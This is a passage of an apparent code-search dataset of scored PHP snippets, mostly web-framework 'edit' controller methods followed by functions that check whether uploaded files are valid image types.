'form-horizontal'];\n\n return view('permiso.form')->with(compact('permission','title','form_data'));\n }", "title": "" }, { "docid": "a880aa2a9bbdd8e600e961cc44a30611", "score": "0.6704303", "text": "public function actionEdit()\n\t{\n\t\t\\Yii::$app->response->format = \\yii\\web\\Response::FORMAT_JSON;\n\t\t\n\t\t$request = \\Yii::$app->getRequest();\n\t\t\n\t\t//Initial vars\n\t\t$html = '';\n\t\t$msg = Yii::t('messages', 'Failure!');\n\t\t\n\t\t//Check request is ajax\n\t\tif($request->isAjax)\n\t\t{\n\t\t\t//Get POST data\n\t\t\t$post = Yii::$app->request->post();\n\t\t\t$id = (isset($post['item'])) ? intval($post['item']) : '';\n\t\t\t\n\t\t\t//Check id\n\t\t\tif($id > 0)\n\t\t\t{\n\t\t\t\t//Get model data\n\t\t\t\t$model = $this->findModel($id);\n\t\t\t\t\n\t\t\t\t//Get form for displaying in page\n\t\t\t\t$html = $this->renderAjax('partial/edit_form', [\n\t\t\t\t\t'model' => $model,\n\t\t\t\t\t'id' => $id\n\t\t\t\t]);\n\t\t\t}\n\t\t}\n\t\t\n\t\treturn ['html' => $html, 'msg' => $msg];\n\t}", "title": "" }, { "docid": "754feffba2f96b5a5cffd1ab0db2113d", "score": "0.6703114", "text": "public function edit($data)\n {\n \n $this->checkPermission(\"update-{$this->type}\");\n\n return view( $this->views['form'] ?? $this->views['index'], [\n $this->type => $this->getModel($data)\n ]);\n }", "title": "" }, { "docid": "f14d9738fc54a55b925b94b3252a0061", "score": "0.6688846", "text": "public function edit($id)\n {\n $this->crud->hasAccessOrFail('update');\n\n $this->data['entry'] = $this->crud->getEntry($id);\n\n\n $this->data['crud'] = $this->crud;\n $this->data['saveAction'] = $this->getSaveAction();\n $this->data['fields'] = $this->crud->getUpdateFields($id);\n $this->data['title'] = trans('base::crud.edit').' '.$this->crud->entity_name;\n $this->data['id'] = $id;\n\n return view($this->crud->getEditView(), $this->data);\n }", "title": "" }, { "docid": "5d00016db02a20e9d4b01dced690ae3c", "score": "0.6685652", "text": "public function edit()\n {\n return view('tender::edit');\n }", "title": "" }, { "docid": "05bddf81a783fce093ed74c1d836d2e7", "score": "0.6684703", "text": "public function edit($id)\n {\n $record = $this->getResourceModel()::findOrFail($id);\n\n if(!Auth::user()->hakAkses($this->hakAkses['edit'])){\n $this->authorize('forceFail');\n }\n $pkey='id';\n if(isset($this->primaryKey)){\n $pkey=$this->primaryKey;\n }\n $kategori = Kategori::get();\n return view($this->filterEditView('_resources.edit'), $this->filterEditViewData($record, [\n 'kategoriList' => $kategori,\n 'primaryKey' => $pkey,\n 'record' => $record,\n 'resourceAlias' => $this->getResourceAlias(),\n 'resourceRoutesAlias' => $this->getResourceRoutesAlias(),\n 'resourceTitle' => $this->getResourceTitle(),\n ]));\n }", "title": "" }, { "docid": "64fcbeac632782a2b25ac19087420f52", "score": "0.6683048", "text": "public function edit($id)\n {\n //\n $cm =LegalEntity::find($id);\n return view('legal-entity.edit',compact('cm'));\n }", "title": "" }, { "docid": "566ab30d6794597d3f4684df3c76a3b7", "score": "0.6682244", "text": "public function action_edit() {\n\t\treturn $this->_edit_entry((int)$this->request->param('id'));\n\t}", "title": "" }, { "docid": "8dde096e26811c4848495f8ef942f388", "score": "0.6665122", "text": "public function edit($id)\n\t{\n\t\t$consulting = Consulting::findOrfail($id) ;\n\t\t$type \t = 'edit' ;\n\t\t\n\t\treturn view('admin.consulting.edit' , compact('consulting' , 'type')) ;\n\t}", "title": "" }, { "docid": "58fa8a98152b59c2e07c439335e492b4", "score": "0.6664467", "text": "public function edit($id)\n {\n return view('web::edit');\n }", "title": "" }, { "docid": "0e24d2a5b4f7bae34c782959dddc85ab", "score": "0.66643083", "text": "public function edit($id){\n return view(self::PATH . 'edit');\n }", "title": "" }, { "docid": "1949b29856558b21bebbd7a1730c6a7d", "score": "0.6659928", "text": "public function edit()\n {\n return view('domain::edit');\n }", "title": "" }, { "docid": "20d1bbc7a5590f53b194b86cee939293", "score": "0.6645108", "text": "public function edit($id)\n {\n return view('resep-edit');\n }", "title": "" }, { "docid": "7e904b255b6b5c2b18da7e8219fd7832", "score": "0.664328", "text": "public function edit($id)\n {\n $object = $this->getObjectFromRoute($id, $this->editWith);\n $formConfig = $this->getFormConfig($object);\n $validationRules = $this->getValidationRules($id);\n return view($this->editPage, compact('object', 'formConfig', 'validationRules'));\n }", "title": "" }, { "docid": "5dc44c0f877f54ebe9b4c123f3c0b2a6", "score": "0.6633469", "text": "public function edit(Question $question) {\n\t\t$this->authorize('question.update');\n\t\treturn view(\"questions.edit\", compact('question'));\n\t}", "title": "" }, { "docid": "5af850265a4a33e59e46a01b80ede2a3", "score": "0.6627607", "text": "public function edit()\n {\n return view('user::edit');\n }", "title": "" }, { "docid": "74c63fb6106f81d9ad91bc6f741803b0", "score": "0.6623164", "text": "public function edit()\n {\n return view('firstmodule::edit');\n }", "title": "" }, { "docid": "04bba5b4d910aaf17e1e2e20d6f0aafe", "score": "0.66196734", "text": "public function edit(Question $question)\n {\n //\n return view('management.crud.questions.edit_form', compact('question'));\n }", "title": "" }, { "docid": "d1b55e71bd2a8908de15040ec8aeb5cf", "score": "0.66184026", "text": "public function editAction($id)\n {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('ManuTfeBundle:Question')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Question entity.');\n }\n\n $editForm = $this->createEditForm($entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('ManuTfeBundle:Question:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "title": "" }, { "docid": "630ae0984b049b92f2a3c90d1ab9ae0c", "score": "0.66147655", "text": "public function edit($id)\r\n {\r\n $Person=Person::find($id);\r\n\r\n $form=[\r\n \"value\" => \"update\",\r\n \"name\" => \"Update Person\",\r\n \"submit\" => \"Update\"\r\n ];\r\n\r\n return view('person/form',compact('form','Person'));\r\n }", "title": "" }, { "docid": "035eb13b2ca5fd52c8005c0d17b6d221", "score": "0.6608315", "text": "public function edit()\n {\n return view('dashboard::edit');\n }", "title": "" }, { "docid": "fb75ecb723bf601f0c220bda3e7a2405", "score": "0.66080874", "text": "public function edit($id);", "title": "" }, { "docid": "671e522a843abd8418fe78f535b98be5", "score": "0.6602926", "text": "public function editAction($id=null)\n\t{\n\t\t$this->input->filter('primaryid',$id);\n\n\t\t$this->page\n\t\t\t->set('section_title','Edit '.$this->page_title)\n\t\t\t->set('action',$this->controller_path.'edit')\n\t\t\t->set('record',$this->controller_model->get($id))\n\t\t\t->set('group',$this->controller_model->dropdown('group','group'))\n\t\t\t->build($this->controller_path.'form');\n\t}", "title": "" }, { "docid": "15dcb69df9ace243dc7031300f504d64", "score": "0.65998894", "text": "public function edit()\n {\n return view('recruiter.edit');\n }", "title": "" }, { "docid": "7c674c48dc77b0d10cadf755eebb7452", "score": "0.6597189", "text": "public function edit()\n {\n return view('user::user.edit');\n }", "title": "" }, { "docid": "17fa466e8ea84584b032cc633a384460", "score": "0.6595939", "text": "public function edit()\n {\n return view('masyarakat.edit');\n }", "title": "" }, { "docid": "51800559e249529f64a612b61f695e25", "score": "0.6595888", "text": "public function edit($id)\n\t{\n\n\t\t$this->pageOpts['pageTitle'] = $this->pageDefaults['edit']['title'];\n\t\t$this->pageOpts['id'] = $id;\n\n\t\t$this->pageOpts['row'] = $this->service->find($id);\n\n\t\t$this->populateFormSelects();\n\n\t\treturn view($this->pageDefaults['edit']['view'], $this->pageOpts);\n\t}", "title": "" }, { "docid": "96880d1f0e08f9c4ad50170685242351", "score": "0.6594224", "text": "public function edit($id)\n {\n return view('resturants::edit');\n }", "title": "" }, { "docid": "63196ed01dcdae19828150035375ec14", "score": "0.6592926", "text": "public function edit($id)\n\t{\n\t\t$formMode = GlobalsConst::FORM_EDIT;\n\t\t$medicine = Medicine::find($id);\n\t\treturn View::make('medicines.edit')->nest('_form','medicines.partials._form',compact('formMode','medicine'));\n\n\t}", "title": "" }, { "docid": "203016e427fa0c848cb2dfcb175f5f26", "score": "0.65912163", "text": "public function edit($id)\n\t{\n\t\t//\n\t\treturn \"Se muestra formulario para editar Fabricante con id: $id\";\n\t}", "title": "" }, { "docid": "b5a7eb9735ec6ef2ef36bc7f5330d4e9", "score": "0.6589882", "text": "public function actionEdit()\n\t{\n\t\tif (isset($_GET['field']))\n\t\t{\n\t\t\t$field_id = $_GET['field'];\n\t\t\t$model=FormField::model()->findByPk($field_id);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tthrow new CHttpException(404,'The requested page does not exist.');\n\t\t}\n\n\t\t// Uncomment the following line if AJAX validation is needed\n\t\t// $this->performAjaxValidation($model);\n\n\t\tif(isset($_POST['FormField']))\n\t\t{\n\t\t\t$model->attributes=$_POST['FormField'];\n\t\t\tif($model->save())\n\t\t\t\t$this->redirect(array('view','field'=>$model->FIELD_ID,'form'=>$model->FORM_ID));\n\t\t}\n\t\t\n\t\t$this->render('edit',array(\n\t\t\t'model'=>$model,\n\t\t));\n\t}", "title": "" }, { "docid": "ddfd7562bd26ca70a114fe7db5c1d2b8", "score": "0.65883744", "text": "public function showEditForm()\n {\n $settings = Settings::find(1);\n return view('admin.settings.edit', ['settings' => $settings]);\n }", "title": "" }, { "docid": "6af1fea1931fa80d3ded7d93ce9dfe37", "score": "0.6588084", "text": "public function edit($id)\n {\n $book = Book::find($id);\n return view('book.edit')->with('book', $book); // will show the edit form f\n\n }", "title": "" }, { "docid": "e77b4a1d450f192da67f95bae41d70d2", "score": "0.65880346", "text": "public function edit()\n {\n return view('shopify::edit');\n }", "title": "" }, { "docid": "f773c211c125d55f3608be2d87ccf7e1", "score": "0.6582837", "text": "public function editAction($id)\n {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('asociateyaBundle:Emprendedor')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Emprendedor entity.');\n }\n\n $editForm = $this->createEditForm($entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('asociateyaBundle:Emprendedor:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "title": "" }, { "docid": "a5af358e490d57f472c80d93c6cbdfee", "score": "0.65824574", "text": "public function editAction($id) {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('RUGCProgramacionCatarsisBundle:Programacion')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Programacion entity.');\n }\n\n $editForm = $this->createEditForm($entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('RUGCProgramacionCatarsisBundle:Programacion:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "title": "" }, { "docid": "cbf22272b62a0bcea32ad81e0784cb8e", "score": "0.65821135", "text": "public function edit()\n {\n return view('mgentregables::edit');\n }", "title": "" }, { "docid": "75a2ec7c7b01e3430b5535f7564f64a8", "score": "0.6580377", "text": "public function edit($id)\n {\n $find = Job::where('id' , $id)->first();\n return view('admin/job/form' , compact('find'));\n }", "title": "" }, { "docid": "4d167de16ac7ed5ddabb0c275bf98c12", "score": "0.6578134", "text": "public function editForm($id)\n\t{\n\t\t$project = Project::with('user', 'group')->find($id);\n\t\tif(!$project){\n\t\t\tApp::abort(404);\n\t\t}\n\n\t\t$data['groups'] = Group::all();\n\t\t$data['admins'] = Role::with('users', 'users.profile')\n\t\t->where('name', 'admin')\n\t\t->first();\n\n\t\treturn View::make('admin.projects.edit')\n\t\t->with('title', $project->name)\n\t\t->with('project', $project)\n\t\t->with($data);\n\t}", "title": "" }, { "docid": "1e6714a2833c2286fe5202063d157362", "score": "0.65762025", "text": "public function edit($id)\n {\n //\n $person = Person::find($id);\n return view('admin.person.edit',compact('person'));\n\n }", "title": "" }, { "docid": "5738a7a07c7391ff86af1707b6792ba6", "score": "0.6573168", "text": "public function edit($id)\n {\n $data['title'] = 'Edit '.$this->viewName;\n $data['edit'] = ReviewRating::findOrFail($id);\n $data['url'] = route('admin.' . $this->route . '.update', [$this->view => $id]);\n $data['module'] = $this->viewName;\n $data['resourcePath'] = $this->view;\n \n\t\treturn view('admin.general.edit_form', compact('data'));\n }", "title": "" }, { "docid": "f22ee7f97a071d69c8fe688b46a41ec0", "score": "0.6571028", "text": "public function edit() {\n\n\t\t$controller = $this->app->request->getWord('controller');\n\t\t$url = $this->app->link(array('controller' => $controller, 'format' => 'raw', 'type' => $this->getType()->identifier, 'elm_id' => $this->identifier, 'item_id' => $this->getItem()->id), false);\n\n\t\t// render layout\n\t\tif ($layout = $this->getLayout('edit.php')) {\n\t\t\treturn $this->renderLayout($layout, compact('url'));\n\t\t}\n\n\t}", "title": "" }, { "docid": "7f004d9f228b69c504acab9aa2a68c00", "score": "0.65673095", "text": "public function edit($id)\n\t{\n\t\t// get the fbf_historico_artilheiro\n\t\t$fbf_historico_artilheiro = FbfHistoricoArtilheiro::find($id);\n\n\t\t\n\t\t// show the edit form and pass the fbf_historico_artilheiro\n\t\t$this->layout->content = View::make('fbf_historico_artilheiro.edit')\n->with('fbf_historico_artilheiro', $fbf_historico_artilheiro);\n\t}", "title": "" }, { "docid": "7e89f7da3e597647da866468ecea56a9", "score": "0.6565973", "text": "public function editAction()\n {\n $id = (int) $this->param('id');\n $property = $this->service->retrievePropertyById($id);\n if (!$property) {\n $this->flash('error')->addMessage('property.not.found');\n $this->redirectToRoute('list', ['page' => 1]);\n } else {\n $action = $this->view->url(['action' => 'update']);\n $propertyForm = $this->service->getFormForEditing($action);\n $propertyForm->populate($property->toArray());\n $this->view->property = $property;\n $this->view->propertyForm = $propertyForm;\n }\n }", "title": "" }, { "docid": "ab321968ce813a175af5fb95680495f5", "score": "0.6565346", "text": "public function edit($id)\n {\n return view('backend::edit');\n }", "title": "" }, { "docid": "21d99e41a1e26e985dcc253e30b0cdcd", "score": "0.6565012", "text": "public function actionEdit() { }", "title": "" } ]
7005e04fea9071df2aa5c7fae18ea122
Check if the image is of valid type
[ { "docid": "b0247b4f7c89c382e32b159df7eb683c", "score": "0.7248832", "text": "public function checkIfFileIsValidImageType($image)\n {\n return (in_array($image->getClientMimeType(), $this->allowedMimeTypes));\n }", "title": "" } ]
[ { "docid": "c1c5865128c8f12f630720046c6de980", "score": "0.8329116", "text": "public function is_valid_image () {\n\n\t\t$extension = $this->extension();\n\n\t\tif (in_array($this->type(), $this->allowed_mime_type)) {\n\t\t\treturn true;\n\t\t} else {\n\t\t\treturn false;\n\t\t}\n\n\t}", "title": "" }, { "docid": "f406f0556c8ab58aee6a53b05fc5ef0c", "score": "0.7938072", "text": "private function isValidType(){\r\n\t\t$validType= array(\"image/jpg\", \"image/jpeg\", \"image/bmp\", \"image/gif\",\"image/png\");\r\n\t\tif (in_array($this->fileObj['type'], $validType))\r\n\t\t\treturn true;\r\n\t\treturn false;\t\t\t\r\n\t}", "title": "" }, { "docid": "43e85e92c97a7304eac5e419da6fbf9f", "score": "0.7928955", "text": "function validate_image(){\n $this->is_image = (in_array($this->file_type, $this->img_mimes)) ? 1 : 0;\n\n ///////Ivan\n if($this->is_image == 0){\n \t$this->error_msg = 'Image not valid' . $this->file_type. ' '. $this->img_mimes;\n \treturn false;\n }\n }", "title": "" }, { "docid": "ac10dd23aa72dde60bc7aa19e778ccc7", "score": "0.7869677", "text": "function _check_image_type($type) {\n try {\n $type = strtolower($type);\n $types = array(\"gif\", \"jpg\", \"jpeg\", \"png\", \"pjpeg\", \"x-png\", \"tiff\", \"x-tiff\");\n $val = in_array($type, $types, true);\n return $val;\n } catch (Exception $exception) {\n echo $exception->getMessage();\n }\n }", "title": "" }, { "docid": "dd661e24cd623afa24aed2d3416f06ef", "score": "0.7787163", "text": "function IsImageValid($argFiletype)\n\t{\n\t\t$fileType = $argFiletype;\n\t\t$image_type_identifiers = array (\n\t\t\t'image/gif'=>'gif', \t'image/jpeg'=>'jpg', \t'image/png'=>'png',\t'image/pjpeg'=>'jpg',\t'image/x-png'=>'png');\t\n\t\tif (@array_key_exists($fileType, $image_type_identifiers)) \n\t\t{ \n\t\t\treturn true;\n\t\t} \n\t\telse \n\t\t{\n\t\t\treturn false;\n\t\t} \n\t}", "title": "" }, { "docid": "335b1127d8d08327b8bbbd50c425baa5", "score": "0.7774013", "text": "static /*public*/ function isValid($image)\n {\n return is_object($image) && is_a($image, 'rex_image');\n }", "title": "" }, { "docid": "6e5436ee7deb194580269afc7d44afed", "score": "0.7748951", "text": "function is_valid_type($file)\n{\n $valid_types = array(\"image/jpg\", \"image/jpeg\", \"image/bmp\", \"image/gif\");\n\n if (in_array($file['type'], $valid_types))\n return 1;\n return 0;\n}", "title": "" }, { "docid": "1ef05049472b4c8c3f7326876a2cf80b", "score": "0.7694631", "text": "function file_validate_is_image(stdClass $file) {\n $errors = array();\n\n $info = image_get_info($file->uri);\n if (!$info || empty($info['extension'])) {\n $errors[] = t('Only JPEG, PNG and GIF images are allowed.');\n }\n\n return $errors;\n}", "title": "" }, { "docid": "8c35ff49f613dbe54fc65fe2129734b1", "score": "0.76692456", "text": "public function isValid() {\n return true;\n if (array_key_exists($this->imageInfo['type'], $this->supportedTypes)) {\n $this->imageInfo['ext'] = $this->supportedTypes[$this->imageInfo['type']];\n //$this->useNiceName();\n return true;\n }\n return false;\n }", "title": "" }, { "docid": "55ae6268f84543843dc7ceb10884fb6c", "score": "0.766855", "text": "public function valid()\n {\n if (!parent::valid()) {\n return false;\n }\n\n $allowedValues = $this->getImageTypeAllowableValues();\n if (!in_array($this->container['imageType'], $allowedValues)) {\n return false;\n }\n return true;\n }", "title": "" }, { "docid": "d8edbb6916020eec225d60078d34fb68", "score": "0.76560545", "text": "function isValidType()\n { \n $imagePath = $_FILES['image']['tmp_name'];\n $imageName = $_FILES['image']['name'];\n $mimeTypes = ['image/gif', 'image/jpeg', 'image/png', 'application/pdf'];\n $extensions = ['.gif', '.jpg', '.png', '.jpeg', '.pdf'];\n\n if(in_array(mime_content_type($imagePath), $mimeTypes) == true && in_array(substr($imageName, -4), $extensions ) == true )\n {\n return true;\n }\n else\n {\n return false;\n }\n }", "title": "" }, { "docid": "42655b9772c4f36a449262441dcc9f7a", "score": "0.7549509", "text": "protected function isValid(): bool\n {\n return explode('/', $this->file->mimeType())[0] === 'image';\n }", "title": "" }, { "docid": "4a19979aed4e444f21024b3326f420fd", "score": "0.7548609", "text": "public function testGetValidImageByType(){\n\t\t//count the number of rows currently in the database\n\t\t$numRows = $this->getConnection()->getRowCount(\"image\");\n\n\t\t//create a new image and insert into mySQL\n\t\t$image = new Image(null, $this->VALID_IMAGEPATH, $this->VALID_IMAGETYPE);\n\t\t$image->insert($this->getPDO());\n\n\t\t//grab data from mySQL and enforce that the fields match\n\t\t$pdoImage = Image::getImageByImageType($this->getPdo(), $this->VALID_IMAGETYPE);\n\t\t$this->assertEquals($numRows + 1, $this->getConnection()->getRowCount(\"image\"));\n\t\t$this->assertEquals($pdoImage->getImagePath(), $this->VALID_IMAGEPATH);\n\t\t$this->assertEquals($pdoImage->getImageType(),\n\t\t\t$this->VALID_IMAGETYPE);\n\t}", "title": "" }, { "docid": "5630913a3ebef3d57dc26077c7ff3f5e", "score": "0.7520181", "text": "public function checkImage()\n {\n return in_array(getimagesize($this->tmp_name)['mime'], $this->allowed_ext_list);\n }", "title": "" }, { "docid": "636d0999800b7d152293cecf407a8cd6", "score": "0.7474035", "text": "function IsProductImageValid($argFiletype)\n\n\t{\n\n\t\t\n\n\t\t$fileType = $argFiletype;\n\n\t\t$image_type_identifiers = array ('image/gif'=>'gif', 'image/jpeg'=>'jpg', 'image/png'=>'png', 'image/pjpeg'=>'jpg','image/x-png'=>'png');\t\n\n\n\n\t\tif (array_key_exists($fileType['type'], $image_type_identifiers)) \n\n\t\t{ \n\n\t\t\t\n\n\t\t\treturn true;\n\n\t\t} \n\n\t\telse \n\n\t\t{\n\n\t\t\treturn false;\n\n\t\t} \n\n\t\t\n\n\t}", "title": "" }, { "docid": "6f6d528e16b94f8242cbd7bd7feaf449", "score": "0.74051803", "text": "public function isImage(): bool {\n return str_starts_with($this->type, \"image\");\n }", "title": "" }, { "docid": "22f66a165b02a3c1d3bf4bf1e3d5097c", "score": "0.7401857", "text": "public function ValidateFileImg() {\n\n\t\t\t$validFormats = array('jpeg', 'jpeg', 'png', 'gif');\n\t\t\t$valid = false;\n\t\t\t$filePath = $this->file['tmp_name'];\n\n\t\t\tforeach ($validFormats as $format) {\n\t\t\t\tif (strpos($this->file['type'], $format)) {\n\n\t\t\t\t\tif ( getimagesize($filePath) ) {\n\t\t\t\t\t\t$valid = true;\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\treturn $valid;\n\n\t\t}", "title": "" }, { "docid": "697ca76ed013496285ea7be928125985", "score": "0.7385095", "text": "public function isImage(): bool\n {\n return in_array(strtolower($this->fileType), ['png', 'jpg', 'jpeg', 'gif']);\n }", "title": "" }, { "docid": "37812719153027f0078cab8c47a827fc", "score": "0.7363699", "text": "function filetype_is_image($in_type){\n return ($in_type == \"image/jpeg\" || $in_type == \"image/jpg\" || $in_type == \"image/gif\" || $in_type == \"image/png\");\n}", "title": "" }, { "docid": "7164eddebac5a996095e9b4650e241db", "score": "0.73195773", "text": "public function isImage()\r\n\t{\r\n\t\t$ftype = $this->getValue(\"filetype\");\r\n\t\tif (!$ftype)\r\n\t\t{\r\n\t\t\t$fname = $this->getValue(\"name\");\r\n\t\t\t$pos = strrpos($fname, \".\");\r\n\t\t\tif ($pos !== FALSE)\r\n\t\t\t\t$ftype = strtolower(substr($fname, $pos + 1));\r\n\t\t}\r\n\r\n\t\tswitch ($ftype)\r\n\t\t{\r\n\t\tcase 'gif':\r\n\t\tcase 'png':\r\n\t\tcase 'jpg':\r\n\t\tcase 'jpeg':\r\n\t\tcase 'bmp':\r\n\t\tcase 'tif':\r\n\t\t\treturn true;\r\n\t\t}\r\n\r\n\t\treturn false;\r\n\t}", "title": "" }, { "docid": "8b9076988322bc457602e2c8f5ebad0f", "score": "0.73195726", "text": "public function is_valid_image_type($mime_type)\n {\n }", "title": "" }, { "docid": "70863c1154a6d2ca94e1a92050aa1898", "score": "0.7276858", "text": "public function checkImage(){\n $mime_list = new \\CanaryPHPFile\\FileMimeTypes();\n return in_array($this->_MIME,$mime_list->image());\n}", "title": "" }, { "docid": "52f64ec562c9845ac0de5e3f67cd38c5", "score": "0.72695804", "text": "function is_valid_image($file_name) {\n\treturn in_array(extract_extension($file_name), array('jpg', 'jpeg', 'png', 'gif','bmp'));\n}", "title": "" }, { "docid": "4b96312fcd918b89db8e4b33786d1c28", "score": "0.7255796", "text": "private function _checkImage()\n {\n // generic check\n if (!is_resource($this->_main_image)) {\n $this->_setError(\"No main image loaded!\");\n return false;\n } else {\n return true;\n }\n }", "title": "" }, { "docid": "86b25a7b48179b70e09674bf58d954a3", "score": "0.7230399", "text": "function isImage($img)\r\n {\r\n $check = getimagesize($img);\r\n\r\n if($check == false) {\r\n return 'File is not an image.';\r\n }\r\n\r\n return true;\r\n }", "title": "" }, { "docid": "95407fee863cc1d5755b4d35b5fdbe3f", "score": "0.7227366", "text": "function is_image($entry){\n\t\treturn $this->in_type($entry, $this->ImageArray);\n\t}", "title": "" }, { "docid": "1fbf44769308a09e4799a806d2442abd", "score": "0.72208625", "text": "function check_notfake($checkfile) {\r\n if (getimagesize($checkfile) !== false) {\r\n echo \"<br>ERROR: File is not an image.\";\r\n return true;\r\n }\r\n}", "title": "" }, { "docid": "6967d8fa39e29369aefe1fc1f2cab27a", "score": "0.7204642", "text": "public function isImage(): bool\n\t{\n\t\treturn in_array($this->getContentType(), self::IMAGE_MIME_TYPES, true);\n\t}", "title": "" }, { "docid": "81e13b7544a70cd1cbde44ae0cab4a46", "score": "0.7192146", "text": "function photoIsValid($image_path)\n{\n if (filesize($image_path) > 11) {\n $type = exif_imagetype($image_path);\n } else {\n $type = false;\n }\n\n if ($type === false || ($type !== IMAGETYPE_PNG && $type !== IMAGETYPE_JPEG)) {\n setSessionMessage('error', 'Image is not a jpg or png file!');\n return false;\n }\n return $type;\n}", "title": "" }, { "docid": "c43ef4e2f17be623e4346572199c11cd", "score": "0.7177546", "text": "protected function __validImageType($imageType) {\n\t\t\treturn in_array($imageType, $this->__imageTypes);\n\t\t}", "title": "" }, { "docid": "4d888ec0d07d44e783b6c73426cce013", "score": "0.7162705", "text": "public function testGetInvalidImageByType(){\n\t\t$image = Image::getImageByImageType($this->getPDO(), \"gif\");\n\t\t$this->assertEquals(0, $image);\n\t}", "title": "" }, { "docid": "1f2273619acd676ae73452336aedf729", "score": "0.7162346", "text": "function file_is_image($content_type)\n{\n return true;\n}", "title": "" }, { "docid": "79221c6b889f62ec1f093b8c90d44933", "score": "0.7138687", "text": "private function isImage(): bool\n {\n return in_array(\n $this->getFileExtension(),\n $this->getSupportedImageExtensions()\n );\n }", "title": "" }, { "docid": "d9f525d370b89cfd8265f28a8e61f93b", "score": "0.71156263", "text": "public function isImage() {\n\t$this->uploadType = self::UPLOAD_IMAGE;\n }", "title": "" }, { "docid": "b45d976f4e3d7ebae54393434ec37bb3", "score": "0.70912975", "text": "private static function isImage($image) {\n $imageDetails = getimagesize($image);\n $image_type = $imageDetails[2];\n\n if(in_array($image_type , array(IMAGETYPE_GIF , IMAGETYPE_JPEG ,IMAGETYPE_PNG , IMAGETYPE_BMP)))\n {\n return true;\n }\n return false;\n }", "title": "" }, { "docid": "610a0fca71d5ade9d8c222663e114e36", "score": "0.70777315", "text": "protected static function checkImageType($key)\n {\n $type = array(\n \"image/jpeg\",\n \"image/jpg\",\n \"image/bmp\",\n \"image/gif\",\n \"image/png\"\n );\n if (!in_array(self::$aData[$key], $type)) {\n return self::error(\"Invalid image \" . $key);\n }\n return self::success();\n }", "title": "" }, { "docid": "82c768919d9043b3b054e498a2964d0a", "score": "0.7067188", "text": "public function is_image ($value) {\n return is_array($value) && array_key_exists('type', $value) && strstr($value['type'], 'image/');\n }", "title": "" }, { "docid": "23bf73af6e35e892c0f2ea16e106e505", "score": "0.70663595", "text": "function validateImgFile($str) {\r\n $header = explode(\",\",$str)[0]; \r\n $type = explode(\"/\",$header)[0];\r\n return ($type == \"data:image\");\r\n}", "title": "" }, { "docid": "1f8627bf7fd92052a6125dd032dbde88", "score": "0.7063583", "text": "public function getIsImage();", "title": "" }, { "docid": "1947636f188efa427f37787c9bd89bc2", "score": "0.70434487", "text": "function fb2wp_is_image($path) {\r\n $a = getimagesize($path);\r\n $image_type = $a[2];\r\n\r\n if(in_array($image_type , array(IMAGETYPE_GIF , IMAGETYPE_JPEG ,IMAGETYPE_PNG , IMAGETYPE_BMP))) {\r\n return true;\r\n }\r\n \r\n return false;\r\n}", "title": "" }, { "docid": "ecb2f98648531275ba8645b6e3b1b354", "score": "0.7023577", "text": "public function isImage()\n\t{\n\t\treturn strpos($this->getMimetype(), 'image/') !== false ? true : false;\n\t}", "title": "" }, { "docid": "016eefb4cc45eb29232e0a4e59e5e85b", "score": "0.7009833", "text": "function ppom_is_file_image( $file_name ){\n\t\n\t$type = strtolower ( substr ( strrchr ( $file_name , '.' ), 1 ) );\n\tif (($type == \"gif\") || ($type == \"jpeg\") || ($type == \"png\") || ($type == \"pjpeg\") || ($type == \"jpg\"))\n\t\treturn true;\n\telse\n\t\treturn false;\n}", "title": "" }, { "docid": "b79854e631a77760ce0bfc50822dd7ec", "score": "0.69999117", "text": "function checkFileIsImage () {\n if (!getimagesize($this->imageTmpName)) {\n die(\"Please go back and select an image\");\n }\n }", "title": "" }, { "docid": "ab8050f0dac1580641c82d8959e92754", "score": "0.6990739", "text": "public function isImage(): bool\n\t{\t\n\t\treturn strpos($this->mimeType, 'image/') === 0 AND \n\t\t\tin_array($this->extension, $this->allowedImageExtensions);\n\t}", "title": "" }, { "docid": "b5ed260a903f03a31c1812b53f599a47", "score": "0.69899166", "text": "function checkType($allowed)\n {\n $allowed = explode(', ', $allowed);\n\n return in_array($this->imageType['extension'], $allowed);\n }", "title": "" }, { "docid": "11f4596cb9da0dc34d4635c18751604c", "score": "0.69878983", "text": "static public function getValidImageTypes()\n {\n return array('image/gif', 'image/png', 'image/jpeg', 'image/pjpeg');\n }", "title": "" }, { "docid": "d47693b3b8dc976f0c5e083f22bb03ac", "score": "0.6982648", "text": "public function checkUpload(){\n\n if ($this->fileType != 'image/png' && $this->fileType != 'image/jpeg' && $this->fileType != 'image/jpg'){\n\n return true;\n\n } else {\n\n return false;\n\n }\n\n }", "title": "" }, { "docid": "0e957cacff09e83c8936a15a385394e0", "score": "0.69825476", "text": "private function verifyImage(FileUpload $file)\n\t{\n\t\t$imageinfo = getimagesize($file->getTempName());\n\t\tif ($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg') {\n\t\t\tthrow new InvalidImageTypeException();\n\t\t}\n\t\treturn true;\n\t}", "title": "" }, { "docid": "688372b20528b1a344268958d6833fc5", "score": "0.69724786", "text": "protected function isValid($image) {\n\t\t$this->validateOptions();\n\n\t\tif (!$image instanceof Image) {\n\t\t\t$this->addError('The given value was not an Image instance.', 1327947256);\n\t\t\treturn;\n\t\t}\n\t\t$allowedImageTypes = $this->options['allowedTypes'];\n\t\tarray_walk($allowedImageTypes, function(&$value) {\n\t\t\t$value = 'image/' . $value;\n\t\t});\n\n\t\tif (!in_array($image->getMediaType(), $allowedImageTypes)) {\n\t\t\t$this->addError('The media type \"%s\" is not allowed for this image.', 1327947647, 